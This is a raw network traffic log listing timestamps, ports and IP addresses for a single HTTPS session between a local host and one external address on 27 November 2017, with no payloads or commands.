Nov 27, 2017 12:34:38.839984894 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.840012074 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.840029955 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.840492010 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.840517998 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.850965977 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.850989103 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.851222992 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.851249933 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.868690968 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.868712902 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.868809938 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.868835926 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.875909090 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.875941038 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.876128912 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.876157045 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.888113022 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.888134956 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.888267994 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.888360023 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.888389111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.888530970 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.900321960 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.900348902 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.900357008 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.900520086 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.907391071 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.913595915 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.913615942 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.913786888 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.913815975 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.914433956 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.914450884 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.914566040 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.914588928 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.921510935 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.921531916 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.921633005 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.921658039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.927206993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.927227020 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.927350044 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.927376032 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.931533098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.931552887 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.931689978 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.931715965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.932014942 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.932029963 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.932142019 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.932164907 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.940850973 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.941034079 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.941061020 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.943361998 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.943380117 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.943499088 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.943519115 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.945373058 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.945391893 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.945488930 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.945512056 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.946014881 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.946027994 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.946142912 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.946166039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.950527906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.950544119 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.950751066 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.950777054 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.953865051 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.953886986 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.953980923 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.954005003 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.957540035 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.957559109 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.957686901 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.957710981 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.960941076 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.960956097 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.961038113 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.961061954 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.968106985 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.968125105 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.968280077 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.968305111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.985445023 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.985471964 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.985718012 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.985743999 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.987517118 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.987530947 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.987653971 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.987678051 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.063536882 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.063766003 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.063793898 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.080519915 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.080552101 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.080720901 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.080750942 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.092377901 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.092412949 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.092524052 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.092551947 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.127948046 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.127985954 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.128160000 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.128190041 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.144161940 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.144192934 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.144357920 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.144442081 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.174599886 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.174633026 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.174644947 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.175213099 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.175252914 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.183792114 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.183813095 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.184072018 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.184101105 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.202732086 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.202766895 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.202819109 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.202847004 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.221426964 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.221452951 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.221515894 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.221545935 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.242244005 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.242255926 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.242260933 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.242384911 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.242415905 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.242613077 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.243549109 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.250832081 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.250855923 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.250937939 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.250967026 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.265918970 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.265954971 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.266036034 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.266083956 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.283757925 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.283785105 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.283797026 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.283997059 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.284022093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.298993111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.299055099 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.299197912 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.299209118 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.299237967 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.299278021 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.299390078 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.312522888 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.319721937 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.319753885 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.319880009 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.319916010 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.333887100 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.334060907 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.334079027 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.334142923 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.334194899 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.334366083 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.344162941 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.344187021 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.344198942 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.344377995 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.346435070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.346462965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.346472979 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.346640110 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.363106012 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.369194984 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.369220972 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.369412899 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.369488955 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.381683111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.381707907 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.381716013 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.381922960 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.381962061 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.398257971 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.398282051 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.398389101 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.398401022 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.399915934 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.399974108 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.405320883 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.405342102 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.407752037 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.407819033 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.412281990 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.412302971 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.415751934 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.415791035 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.423094988 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.423352957 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.423381090 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.425518036 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.425534010 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.429178953 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.429228067 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.432590961 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.432620049 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.433800936 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.433844090 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.444451094 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.444480896 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.445010900 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.445075035 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.451906919 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.451939106 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.452110052 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.452164888 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.474993944 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.475028038 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.475038052 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.475256920 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.475286961 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.476573944 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.476597071 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.476718903 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.476742983 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.499867916 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.499907017 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.500093937 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.500123978 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.517534971 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.517574072 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.517707109 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.517736912 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.542300940 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.542342901 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.542355061 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.542490005 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.542521000 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.550748110 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.550767899 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.551727057 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.551757097 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.566988945 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.567774057 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.567802906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.570652008 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.570688009 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.570908070 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.570939064 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.580471039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.580488920 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.580591917 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.580626011 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.588340044 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.588359118 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.588469982 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.588502884 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.606808901 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.606842995 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.607213974 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.607237101 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.622044086 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.622065067 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.622070074 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.622199059 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.622222900 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.629049063 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.629076958 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.629201889 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.629235983 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.649403095 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.649434090 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.649439096 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.649445057 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.649457932 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.649611950 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.649648905 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.670397043 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.670416117 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.670553923 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.670593023 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.686141968 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.686172009 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.686326981 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.686372995 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.709440947 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.709469080 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.709472895 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.709712029 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.709773064 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.716551065 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.716567039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.716757059 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.716805935 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.730088949 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.730107069 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.730273962 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.730325937 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.738071918 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.738107920 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.738353968 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.738398075 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.765629053 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.765669107 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.765701056 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.765840054 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.765901089 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.774736881 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.774775982 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.774940014 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.774972916 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.795331001 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.795363903 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.795533895 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.795571089 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.817159891 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.817198992 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.817333937 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.817377090 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.846424103 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.846457958 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.846468925 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.846591949 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.846635103 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.853538036 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.853576899 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.854106903 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.854134083 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.864182949 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.864208937 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.864456892 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.864485979 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.881649017 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.881678104 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.881809950 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.881850958 CET	443	49165	89.45.235.21	192.168.1.91
